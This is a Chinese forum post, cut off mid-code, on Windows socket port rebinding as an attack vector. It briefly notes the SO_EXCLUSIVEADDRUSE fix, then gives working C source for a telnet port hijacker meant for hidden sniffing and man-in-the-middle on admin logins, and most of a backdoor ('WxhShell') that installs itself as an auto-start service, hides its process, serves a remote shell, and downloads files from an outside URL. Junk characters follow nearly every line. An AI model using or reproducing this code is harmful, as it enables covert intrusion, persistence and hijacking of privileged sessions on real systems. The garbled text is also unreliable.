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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: entO"~*EX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zZseK  
sJ!AI n<  
  saddr.sin_family = AF_INET; "5]GEzM3O  
^O4.$4t|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2,'m]`;GNr  
l3-;z)SgH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {B uh5U,  
a+IU<O-J?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $Y 7q2  
D.4=4"qMi  
  这意味着什么?意味着可以进行如下的攻击: r0}Z&>]66N  
G^5}T>TV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vY:A7yGW  
h9RG?r1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vfm |?\  
pzHN:9r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U!TFFkX[  
]xb R:CYJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (?D47^F &  
h@t&n@8O?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u\.7#D>  
K6{{\r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WTZP}p1  
j;)U5X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b\F(.8  
Mo0+"`   
  #include &Nt4dp`qj  
  #include Zm^4p{I%o*  
  #include OcwD<Xy  
  #include    S~/zBFo-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2/x+7F}w5  
  int main() bwS1YGb  
  { :dLfM)8}  
  WORD wVersionRequested; 9#xcp/O  
  DWORD ret; E_MGejm@  
  WSADATA wsaData; G(EiDo&  
  BOOL val; SZea[~ &  
  SOCKADDR_IN saddr; 8$BZbj%?hx  
  SOCKADDR_IN scaddr; ZV$qv=X  
  int err; /T!S)FD\/v  
  SOCKET s; O-@*xwD  
  SOCKET sc; e>=P'  
  int caddsize; a$l  
  HANDLE mt; +K])&}Dw  
  DWORD tid;   )E'iC  
  wVersionRequested = MAKEWORD( 2, 2 ); g,@0 ;uVq  
  err = WSAStartup( wVersionRequested, &wsaData ); +x\b- '  
  if ( err != 0 ) { Re0ma%~LP  
  printf("error!WSAStartup failed!\n"); ECWn/4Aws  
  return -1; kTL{?-  
  } Wf +j/RxTi  
  saddr.sin_family = AF_INET; bO^#RVH  
   ]4ya$%A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .'saUcVg:  
pZ}4'GnZI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RU|{'zC\v  
  saddr.sin_port = htons(23); i"p)%q~ z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TL U^ad#9E  
  { _p"nR  
  printf("error!socket failed!\n"); DP6M4  
  return -1; 8A~5@  
  } %+ynrg-  
  val = TRUE; _pnJ/YE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J] ^)vxm3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ph'*s{   
  { ~q 0)+'  
  printf("error!setsockopt failed!\n"); `BG{\3>  
  return -1; JBo/<W#|  
  } SxdH %agM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /pt%*;H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \cP\I5IW:s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8%nb1CA  
.^6"nnfA#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6hv4D`d;o  
  { W2e~!:w  
  ret=GetLastError(); SQ9s  
  printf("error!bind failed!\n"); +1zCb=;!{  
  return -1; DG}} S 5  
  } v}q3_m]   
  listen(s,2); I ww.Nd2  
  while(1) wu "6Kyu  
  { '8R5?9"  
  caddsize = sizeof(scaddr); wuSp+?{5k  
  //接受连接请求 u=JI 1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .H {  
  if(sc!=INVALID_SOCKET) E5(\/;[*`  
  { q{gt2OWqX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z=J%-Hq>  
  if(mt==NULL) B`3RyM"J@  
  { :Y`cgi0vkd  
  printf("Thread Creat Failed!\n"); ![YLY&}s  
  break; tt2`N3Eu\  
  } ?4GI19j  
  } "E =\Vz  
  CloseHandle(mt); TR/'L!EE  
  } |!NKKvf  
  closesocket(s); L s6P<"V  
  WSACleanup(); .>NhC"  
  return 0; Yj99[ c#]  
  }   z;yb;),  
  DWORD WINAPI ClientThread(LPVOID lpParam) !r]elX  
  { (=c R;\s<  
  SOCKET ss = (SOCKET)lpParam; +`O8cHx  
  SOCKET sc; :oh(M|;/2  
  unsigned char buf[4096]; u4*7 n-(  
  SOCKADDR_IN saddr; BQq,,i8H  
  long num; bU9B2'%E  
  DWORD val; t2d _XQOK  
  DWORD ret; /^v?Q9=Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #-?pY"N,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o_>id^$>B  
  saddr.sin_family = AF_INET; a<9cj@h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WD c2Qt  
  saddr.sin_port = htons(23); *&]x-p1m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b37P[Q3  
  { (,<&H;,8  
  printf("error!socket failed!\n"); {-;lcOD  
  return -1; *$mDu,'8  
  } oace!si  
  val = 100; ZWH?=Bk:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3#o!K  
  { s\A"B#9r  
  ret = GetLastError(); F[uy'~;@  
  return -1; |y=;#A  
  } W!|A3V35\:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bkk1_X  
  { R L&z\S  
  ret = GetLastError(); <+ 0cQq=2  
  return -1; \W$bOp  
  } ENW>bS8 e`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =@$G3DM  
  { EooQLZ  
  printf("error!socket connect failed!\n"); p"" #Gbwj  
  closesocket(sc); (%*CfR:>  
  closesocket(ss); v3SH+Ej4  
  return -1; # hvLv  
  } AW3\>WC  
  while(1) QB p`r#{I{  
  { <>\s#Jf/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PF5;2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pJ kaP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &iCE/  
  num = recv(ss,buf,4096,0); C;7?TZ&xw  
  if(num>0) z'N_9=  
  send(sc,buf,num,0); ~^jdiy5  
  else if(num==0) FRa@T N/Ic  
  break; P9h]B u  
  num = recv(sc,buf,4096,0); uJ ;7]  
  if(num>0) 1d)wE4c=Z  
  send(ss,buf,num,0); wT/TQEgz  
  else if(num==0) *opf~B_e  
  break; C%P)_)- -V  
  } J!r,ktO^U?  
  closesocket(ss); ivL}\~L  
  closesocket(sc); *{/ ww9fT  
  return 0 ; v_-S#(  
  } wBlfQ w-N  
3J t_=!qlo  
\z>Re$:  
========================================================== ^wesuW@=  
*K#7,*Oz  
下边附上一个代码,,WXhSHELL r~ gjn`W  
? tre)  
========================================================== +%vBDcf  
6b1f ?0  
#include "stdafx.h" BZAeg">3  
<s/n8#i=H  
#include <stdio.h> 7d&_5Tj:  
#include <string.h> g3[Zh=+]E  
#include <windows.h> <WXO].^  
#include <winsock2.h> U^jxKBq^  
#include <winsvc.h> 9$[I~I#z  
#include <urlmon.h> f+>l-6M+p  
-1dbJ/)  
#pragma comment (lib, "Ws2_32.lib") 5)X;q-  
#pragma comment (lib, "urlmon.lib") ZI"L\q=|0#  
UUb n7&  
#define MAX_USER   100 // 最大客户端连接数 [KrWL;[1 <  
#define BUF_SOCK   200 // sock buffer #sl_ BC9  
#define KEY_BUFF   255 // 输入 buffer 8vFt<k}G  
!O=?n<Ex"  
#define REBOOT     0   // 重启 x:'M\c7  
#define SHUTDOWN   1   // 关机 ~3k& =3d]  
jIY    
#define DEF_PORT   5000 // 监听端口 V=yRE  
m\a_0!K  
#define REG_LEN     16   // 注册表键长度 R? aE:\A  
#define SVC_LEN     80   // NT服务名长度 ,#=ykg*~/  
kO3{2$S6  
// 从dll定义API q-c9YOz_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z9cg,#(D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [e1kfw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hg)5c!F7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (!F Uu  
Z4YQ5O5  
// wxhshell配置信息 >~O36q^w  
struct WSCFG { hw[jVx  
  int ws_port;         // 监听端口 Q `$Q(/  
  char ws_passstr[REG_LEN]; // 口令 IT,d(UV_  
  int ws_autoins;       // 安装标记, 1=yes 0=no  ?39B(T  
  char ws_regname[REG_LEN]; // 注册表键名 _?UW,5=O  
  char ws_svcname[REG_LEN]; // 服务名 DG_tmDT4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $*)??uU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^qNh)?V?]I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w k1O*_76  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :00 #l]g0q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JTT"t@__  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C;m7 ~R  
mKWfRx*UdG  
}; U?/UW;k[  
+rEqE/QF  
// default Wxhshell configuration -[-LR }u  
struct WSCFG wscfg={DEF_PORT, |Ad1/>8i  
    "xuhuanlingzhe", piIr .]  
    1, c&zZsJ"~  
    "Wxhshell", *2MM   
    "Wxhshell", e&&;"^@-  
            "WxhShell Service", Q _}i8p '  
    "Wrsky Windows CmdShell Service", cG%ttfq\  
    "Please Input Your Password: ", V,,/}f '  
  1, )9_jr(s  
  "http://www.wrsky.com/wxhshell.exe", &cj/8A5-  
  "Wxhshell.exe" _n9+(X3  
    }; y'sy]Q~  
$`q8-+{  
// 消息定义模块 \Y'#}J"dh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e|wH5(V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?VM#Nf\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Dd+ f,$  
char *msg_ws_ext="\n\rExit."; %(4G[R[  
char *msg_ws_end="\n\rQuit."; ~$g$31/  
char *msg_ws_boot="\n\rReboot..."; tPO\e]  
char *msg_ws_poff="\n\rShutdown..."; .E !p  
char *msg_ws_down="\n\rSave to "; }5n((7@X  
r,p6J7/lfS  
char *msg_ws_err="\n\rErr!"; <:#O*Y{  
char *msg_ws_ok="\n\rOK!"; 1VW;[ ocQ  
AF{k^^|H  
char ExeFile[MAX_PATH]; >`rK=?12<  
int nUser = 0; }qUNXE@  
HANDLE handles[MAX_USER]; 6 bL+q`3>  
int OsIsNt; bS 'a)  
D;bQ"P-m47  
SERVICE_STATUS       serviceStatus; %qA +z Pf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =~r?(u6d  
p'afCX@J  
// 函数声明 w, 0tY=h6  
int Install(void); )"7hyW5  
int Uninstall(void); Ph&AP*Fq  
int DownloadFile(char *sURL, SOCKET wsh); 3[Pa~]yS  
int Boot(int flag); YxMOr\B  
void HideProc(void); Qy ; M:q  
int GetOsVer(void); ?DVO\ Cp  
int Wxhshell(SOCKET wsl); lD09(|`  
void TalkWithClient(void *cs); D .3Q0a6  
int CmdShell(SOCKET sock); C]aa^_Ldd-  
int StartFromService(void); %hK?\Pg3=E  
int StartWxhshell(LPSTR lpCmdLine); NN5V|# P}  
4XL*e+UfJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]2n&DJu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hfer\+RX  
^G63GYh]y  
// 数据结构和表定义 DM6oMT  
SERVICE_TABLE_ENTRY DispatchTable[] = o/I<)sa  
{ myH:bc>6  
{wscfg.ws_svcname, NTServiceMain}, o{*8l#x8  
{NULL, NULL} S=O/W(ZB  
}; -&Fxg>FrYb  
2G"mm (   
// 自我安装 gnbs^K w  
int Install(void) U*8;ZXi  
{ ? WWnt^  
  char svExeFile[MAX_PATH]; R7us9qM4e  
  HKEY key; s~$kzEtjjU  
  strcpy(svExeFile,ExeFile); S~vbISl  
ZTG*|  
// 如果是win9x系统,修改注册表设为自启动 +3e(psdg  
if(!OsIsNt) { OVO0Emv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [KkLpZG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jIMaP T  
  RegCloseKey(key); {! RW*B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s-r$%9o5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c L*D_)?8  
  RegCloseKey(key); ssW+'GD  
  return 0; 6w K=  
    } =Mq=\T  
  } (]0$^!YK  
} R!xs;|]  
else { ]?,47,[<  
L@?Dmn'v  
// 如果是NT以上系统,安装为系统服务 HZ=Dd4!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8?W!U*0aS  
if (schSCManager!=0) 87EI<\mP  
{ );$Uf!v4  
  SC_HANDLE schService = CreateService oaI7j=Gp  
  ( 7\^b+*  
  schSCManager,  ,[ +  
  wscfg.ws_svcname, !U#kUj:4I  
  wscfg.ws_svcdisp, `"[VkQFB/  
  SERVICE_ALL_ACCESS, } oJ+2OepN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wP1dPl_j:0  
  SERVICE_AUTO_START, zdn e2  
  SERVICE_ERROR_NORMAL, MxxYMR  
  svExeFile, r&"}zyL  
  NULL, `Oys&]vb  
  NULL, }M f}gCEW  
  NULL, I"3Qdi  
  NULL, ?)Lktn9%  
  NULL 5(>m=ef"  
  ); lfu1PCe5  
  if (schService!=0) xk86?2b{)  
  { mKZ?H$E%%  
  CloseServiceHandle(schService); EA75 D&>I  
  CloseServiceHandle(schSCManager); _6qf>=qQ`"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6KhHS@Z  
  strcat(svExeFile,wscfg.ws_svcname); 8E/$nRfO d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J),7ukLu^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c[<lr  
  RegCloseKey(key); [w~teX0!  
  return 0; uW4G!Kw28  
    } D>c%5h  
  } =(*Eh=Pw  
  CloseServiceHandle(schSCManager); ` e~/  
} 2Iz@lrO6  
} T~Jl{(s9)  
`a:@[0r0U  
return 1; Y,WcHE  
} x{~-YzWho  
>;o^qi_$  
// 自我卸载 *P:`{ZV7=W  
int Uninstall(void) FH M^x2  
{ $ sEe0  
  HKEY key; *%ZfE,bu8<  
Gyy:.]>&  
if(!OsIsNt) { 8NeP7.U<w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -O~WHi5}  
  RegDeleteValue(key,wscfg.ws_regname); |IH-a"  
  RegCloseKey(key); 0"u*Kn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j3`:;'L  
  RegDeleteValue(key,wscfg.ws_regname);  ^]wm Y  
  RegCloseKey(key); 4'+/R%jk"  
  return 0; -N5r[*>  
  } S=[K/Kf-  
}  A`#v-  
} GfQMdLy\Z  
else { 5#d"]7  
bm%2K@ /U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8[f]9P/i  
if (schSCManager!=0) @Qruc\_  
{ ;#/b=j\pi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N3vk<sr@  
  if (schService!=0) ezwcOYMXK  
  { :@_CQc*yB  
  if(DeleteService(schService)!=0) { E(8!VY ^  
  CloseServiceHandle(schService); B_`A[0H  
  CloseServiceHandle(schSCManager); S_c#{4n  
  return 0; - K}@Gp  
  } +?MjY[8j  
  CloseServiceHandle(schService); BEPDyy  
  } ,a$LT   
  CloseServiceHandle(schSCManager); +qpD>5#  
} Z i7(lG  
} Js^ADUy  
kf>'AbN  
return 1; ; {I{X}b  
} sXoBw.^Ir_  
2c0eh-Gf  
// 从指定url下载文件 _}jj>+zA`  
int DownloadFile(char *sURL, SOCKET wsh) Gpe h#Q4x  
{ QHMXQyr(  
  HRESULT hr; ?ZlwRjB\  
char seps[]= "/"; P; hjr;  
char *token; 3m7$$ N|  
char *file; _sZ/tU@_-K  
char myURL[MAX_PATH]; O|7q,bEm^  
char myFILE[MAX_PATH]; Vize0fsD  
uT]_pKm  
strcpy(myURL,sURL); 5?9}^s4  
  token=strtok(myURL,seps); Vl^jTX5N  
  while(token!=NULL) 5I T'u3V  
  { [p4a\Qg0  
    file=token; }qV4]*+{  
  token=strtok(NULL,seps); o>U%3-+T^J  
  } z RvYN  
=*Wl;PI'  
GetCurrentDirectory(MAX_PATH,myFILE); XZp(Po:H  
strcat(myFILE, "\\"); ( }JX ]-  
strcat(myFILE, file); UfcM2OmbK  
  send(wsh,myFILE,strlen(myFILE),0); U0jq.]P  
send(wsh,"...",3,0); &??(EA3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5Odi\SJ&  
  if(hr==S_OK) ODv)-J  
return 0; n6Q 3X  
else cY\-e?`=4  
return 1; s)/i_Oe$\  
.vpQ3m>  
} Qg9{<0{u  
~Gwn||g78  
// 系统电源模块 gvA&F |4  
int Boot(int flag) Htsa<t F  
{ (CZRX9TT1  
  HANDLE hToken; lzS"NHs<g(  
  TOKEN_PRIVILEGES tkp; 1`aFL5[0$  
'ARQ7 Q[`  
  if(OsIsNt) {  r) X?H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A*\4C3a'%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '^Sa|WXq  
    tkp.PrivilegeCount = 1; oVC~RKA*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b;soMilz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K3 ]hUe#  
if(flag==REBOOT) { ,8$;|#d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m} Yf6:cr  
  return 0; S'E6#   
} 3kYUO-qw  
else { hC6$>tl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fVf.u'.8  
  return 0; )%ja6Vg  
} jgEiemh&  
  } [FyE{NfiJ%  
  else { w`#lLl B  
if(flag==REBOOT) { m"U\;Mw?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S'3l<sY  
  return 0; |:H[Y"$1;  
} T w"^I*B  
else { D eXnE$XH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?`FI!3j  
  return 0; NRoi` IIj  
} {'d?vm!r  
} deeOtco$LT  
W4>8  
return 1; 3$HFHUMQsk  
} P?TFX.p7  
"me J n/  
// win9x进程隐藏模块 GueqpEd2  
void HideProc(void) I"@5=m5  
{ IK %j+UB  
H%faRUonz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uv_*E`pN~  
  if ( hKernel != NULL ) ~f%gW  
  { ^lf;Lc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /5yW vra  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N{Is2Ia  
    FreeLibrary(hKernel); 5,?9#n\E,  
  } kv (N/G  
;AG5WPI  
return; CH9#<?l  
} 7qzI]  
[IV8  
// 获取操作系统版本 Ns1u0$fg  
int GetOsVer(void) \f{C2d/6j  
{ @.CPZT  
  OSVERSIONINFO winfo; SrHRpxy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PJ #uYM  
  GetVersionEx(&winfo); 5jYRIvM[Q~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ah)7A|0rT  
  return 1; WfO6Fvx%  
  else IOIGLtB  
  return 0; ;TaT=%  
} 0Y!Bb2 m  
0kC!v,  
// 客户端句柄模块 YtIJJH  
int Wxhshell(SOCKET wsl) <cepRjDn  
{ iY*Xm,#  
  SOCKET wsh; 9IIe:  
  struct sockaddr_in client; *;o=hM)Tp  
  DWORD myID; p=7kFv  
>#0yd7BST  
  while(nUser<MAX_USER) /"/$1F%{  
{ Sf*VkH  
  int nSize=sizeof(client); ,VHvQU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); im1]:kr7  
  if(wsh==INVALID_SOCKET) return 1; I{1w8m4O6  
#j;&g1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pu`|HaQaE  
if(handles[nUser]==0) 2V F|T'h  
  closesocket(wsh); y f+/Kj< a  
else ]Fj z+CGg  
  nUser++; 9"<)DS  
  } <'B`b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U'lrdc"Q  
tk, H vE  
  return 0; 0Y"==g+ >f  
} pK$^@~DE  
teM&[U  
// 关闭 socket 0BVMLRB  
void CloseIt(SOCKET wsh) WJJ!No P  
{ !_V*VD  
closesocket(wsh); +o_`k!  
nUser--; !-\*rdE {9  
ExitThread(0); x$M[/ID0  
} [0IeEjL  
i-&kUG_X  
// 客户端请求句柄 Em _miU  
void TalkWithClient(void *cs) %A64 Y<K  
{ e#W@ep|n  
ikm4Y`c  
  SOCKET wsh=(SOCKET)cs; pGsVO5M?  
  char pwd[SVC_LEN]; @rVmr{UE  
  char cmd[KEY_BUFF]; $wX5`d 1  
char chr[1]; G m.v-T$  
int i,j; l}<s~ip  
9prG@  
  while (nUser < MAX_USER) { F /t;y\)  
o*dhks[  
if(wscfg.ws_passstr) { fT'A{&h|U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rU'&o) a^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7 H<_ wW  
  //ZeroMemory(pwd,KEY_BUFF); cJH7zumM)  
      i=0; (cA=~Bw[=  
  while(i<SVC_LEN) { S liF$}J  
zHx?-Q&3  
  // 设置超时 Bpqq-_@  
  fd_set FdRead; `D GO~RMp9  
  struct timeval TimeOut; %*r P d>*  
  FD_ZERO(&FdRead); Vuz!~kLYIn  
  FD_SET(wsh,&FdRead); 8K1+ttjm  
  TimeOut.tv_sec=8; ZY][LU~l8  
  TimeOut.tv_usec=0; Vxk0oI k`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R?]>8o,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \3Xt\1qN4  
3btciR!N]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lz# inC|  
  pwd=chr[0]; Dcp,9"yt%  
  if(chr[0]==0xd || chr[0]==0xa) { lUWjm%|  
  pwd=0; Q>z0?%B  
  break; B"{CWH O  
  } %`g qV9a  
  i++; 6o6m"6  
    } Ob(j_{m  
-8TJ~t%w4  
  // 如果是非法用户,关闭 socket D{G#|&;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &os* @0h4  
} ]n!pn#Q  
`d8$OC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tU?lfU[7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,,,5pCi\  
} RM?gE  
while(1) { G%4vZPA  
VoP(!.Ua>7  
  ZeroMemory(cmd,KEY_BUFF); _s=[z$EN&  
{qh`8  
      // 自动支持客户端 telnet标准   .>H7i`1D`  
  j=0; 4$y|z{[< 5  
  while(j<KEY_BUFF) { )_f "[m%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i>0bI^H  
  cmd[j]=chr[0]; XSZW9/I-(|  
  if(chr[0]==0xa || chr[0]==0xd) { vbA9 V<c&  
  cmd[j]=0; p%,JWZ[  
  break; 1FY^_dvH  
  } Fv(zql  
  j++; 7e u7ie6  
    } EI/_=.d  
g:OVAA  
  // 下载文件 0WYVt"|;}c  
  if(strstr(cmd,"http://")) { _YbHnb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hQX|wWh  
  if(DownloadFile(cmd,wsh)) /~AajLxu3W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P:CwC"z>sS  
  else L18Olu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); McA,  
  } @n})oAC,  
  else { d)q{s(<;  
b}k`'++2,  
    switch(cmd[0]) { ?2.< y_1  
  3pl.<;9r  
  // 帮助 ^8We}bs-c  
  case '?': { Z;Tjjws  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4J_18.JHP  
    break; t1Cyyb  
  } m#8mU,7  
  // 安装 Ak|j J  
  case 'i': { 3B;B#0g50  
    if(Install()) gKBcD\F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oBIKt S*L  
    else T#h`BtET[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "9R3S[  
    break; tohYwXN  
    } QDSB <0j  
  // 卸载 2uqdx'^"  
  case 'r': { VIynlvy  
    if(Uninstall()) !_zmm$bR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L+d_+:w  
    else Y$% Ze]~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4xg%OH  
    break; _.\p^ HM  
    } NlWIb2,  
  // 显示 wxhshell 所在路径 \}G/F!  
  case 'p': { UJlKw `4  
    char svExeFile[MAX_PATH]; C+2*m=r  
    strcpy(svExeFile,"\n\r"); O(wt[AEA  
      strcat(svExeFile,ExeFile); E[ e ''  
        send(wsh,svExeFile,strlen(svExeFile),0); 8Gs{Zfp!D  
    break; LVO`+:  
    } -w^E~J0*L  
  // 重启 wYNh0QlBH  
  case 'b': { ].` i`.T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N "FQMxqm  
    if(Boot(REBOOT)) &K|CH? D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qs</.PO  
    else { [ tm J6^s  
    closesocket(wsh); Jfo#IRC  
    ExitThread(0); *`mwm:4  
    } R%54!f0 %  
    break; Hz+edM UL  
    } u9}=g%TV  
  // 关机 +d Ig&}Tr  
  case 'd': { $40tAes9  
